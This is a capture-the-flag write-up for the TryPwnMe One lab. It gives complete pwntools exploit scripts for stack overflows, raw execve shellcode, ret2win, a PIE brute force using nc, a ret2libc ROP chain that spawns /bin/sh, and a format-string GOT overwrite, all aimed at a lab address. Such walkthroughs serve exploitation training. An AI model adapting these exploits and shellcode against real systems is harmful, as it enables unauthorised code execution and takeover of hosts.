Let’s discuss TryPwnMe One
.
Looks a good challenge, let me solve it.
TryOverflowMe 1
The goal is to overwrite a variable to get the flag. Here is how to solve it:
from pwn import *
# Connect to the server
host = "10.10.10.10"
r = remote(host, 9003)
# Create the payload
payload = b"A" * 0x32 # Fill the buffer and overwrite the admin variable
# Send the payload
r.sendline(payload)
# Receive the flag
print(r.recvall().decode())
TryOverflowMe 2
This is similar to the first challenge but we need to overwrite a variable with a specific value. Here is how to solve it:
from pwn import *
host = "10.10.10.10"
r = remote(host, 9004)
payload = b"A"*64 + b"A"*4*2 + b"\x59\x59\x59\x59"*2
r.sendline(payload)
print(r.recvall().decode())
TryExecMe
We should pass a shellcode to the program to get the flag. Here is how to solve it:
from pwn import *
host = "10.10.10.10"
shellcode = b"\x31\xF6\x56\x48\xBB\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x53\x54\x5F\xF7\xEE\xB0\x3B\x0F\x05"
r = remote(host, 9005)
r.sendline(shellcode)
r.interactive()
TryRetMe
We need to overwrite the return address to the address of the win function. Here is how to solve it:
from pwn import *
host = "10.10.10.10"
r = remote(host, 9006)
# calculate the offset with gdb and pattern_offset
# also extract the address of the win function and prepare the payload
payload = b"A"*264 + b'\xe2\x11\x40\x00\x00\x00\x00\x00'
# Send the payload
r.sendline(payload)
r.interactive()
Random Memories
The same as the previous challenge but PIE is enabled.
The program at least leaks the address of the vuln
function.
void vuln(){
char *buf[0x20];
printf("I can give you a secret %llx\n", &vuln);
puts("Where are we going? : ");
read(0, buf, 0x200);
puts("\nok, let's go!\n");
}
Did some observation and noticed that we can brute force the address of the win function. The address of the win function is always ending with \x15
. So we can just brute force the address of the win function. Here is how to solve it:
from pwn import *
host = "10.10.10.10"
# create the payload and save it to a file
payload = b"A"*264 + b'\x15\x52'
open('payload', 'wb').write(payload)
# I don't have any idea why this is working but remote connection via pwntools is not working
# repeat the same process with pwntools if you want to verify
# also p.sendline(payload) is not working. this is why I used cat payload - | nc
cmd = f"cat payload - | nc {host} 9007"
while True:
p = process(cmd, shell=True)
secret = p.recvuntil(b'secret ')
secret = p.recvline().strip()
if b'5319' in secret:
# Enjoy the shell
p.interactive()
break
p.close()
TheLibrarian
This time we are doing a ret2libc attack. We need to leak the address of the puts function to calculate the base address of the libc library. Here is how to solve it with a script from Hacktricks. Create this script within the same directory as the binary and the libc library (that’s downloaded from TryHackMe).
from pwn import ELF, ROP, remote, log, p64, u64
HOST = "10.10.10.10"
LOCAL_BIN = "./thelibrarian"
LIBC = ELF("./libc.so.6") #Set library path when know it
ENV = {"LD_PRELOAD": LIBC} if LIBC else {}
P = remote(HOST,9008) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
OFFSET = b"A"*264
libc_func = "puts"
PUTS_PLT = ELF_LOADED.symbols["puts"] # This is also valid to call puts
MAIN_PLT = ELF_LOADED.symbols['main']
POP_RDI = (ROP_LOADED.find_gadget(['pop rdi', 'ret']))[0]
RET = (ROP_LOADED.find_gadget(['ret']))[0]
log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret gadget: " + hex(POP_RDI))
log.info("ret gadget: " + hex(RET))
def generate_payload_aligned(rop):
payload1 = OFFSET + rop
if (len(payload1) % 16) == 0:
return payload1
else:
payload2 = OFFSET + p64(RET) + rop
if (len(payload2) % 16) == 0:
log.info("Payload aligned successfully")
return payload2
else:
log.warning(f"I couldn't align the payload! Len: {len(payload1)}")
return payload1
def get_addr(libc_func):
FUNC_GOT = ELF_LOADED.got[libc_func]
log.info(libc_func + " GOT @ " + hex(FUNC_GOT))
rop1 = p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
rop1 = generate_payload_aligned(rop1)
P.recvuntil(b" :")
P.sendline(rop1)
P.recvline(4)
P.recvline()
P.recvline()
P.recvline()
recieved = P.recvline().strip()
log.critical(f"Recieved: {recieved}")
log.info(f"Recieved: {recieved}")
log.info(f"Len rop1: {len(rop1)}")
leak = u64(recieved.ljust(8, b"\x00"))
log.info(f"Leaked LIBC address, {libc_func}: {hex(leak)}")
if LIBC:
LIBC.address = leak - LIBC.symbols[libc_func] #Save LIBC base
print("If LIBC base doesn't end end 00, you might be using an icorrect libc library")
log.info("LIBC base @ %s" % hex(LIBC.address))
else:
print("TO CONTINUE) Find the LIBC library and continue with the exploit... (https://LIBC.blukat.me/)")
P.interactive()
return hex(leak)
get_addr(libc_func) #Search for puts address in memmory to obtain LIBC base
BINSH = next(LIBC.search(b"/bin/sh")) #Verify with find /bin/sh
SYSTEM = LIBC.sym["system"]
EXIT = LIBC.sym["exit"]
log.info("POP_RDI %s " % hex(POP_RDI))
log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))
log.info("exit %s " % hex(EXIT))
rop2 = p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) #p64(EXIT)
rop2 = generate_payload_aligned(rop2)
print(P.clean())
P.sendline(rop2)
P.interactive() #Interact with your shell :)
Not Specified
And lastly, we have a printf vulnerability. We’ll use it to overwrite the GOT entry of the puts
function with the win
function. Here is how to solve it:
from pwn import *
host = "10.10.10.10"
elf = context.binary = ELF('./notspecified')
win = elf.symbols.win
puts = elf.got.puts
# 6 is the offset of the format string
# you can get it by sending %p%p%p%p%p%p%p and check the output, you'll see it repeats on the 6th position
payload = fmtstr_payload(6, {puts:win} ) # replace puts with win
r = remote(host, 9009)
r.sendline(payload)
r.interactive()
These are nice challenges after all. Feel free to ask if you need any additional explanation.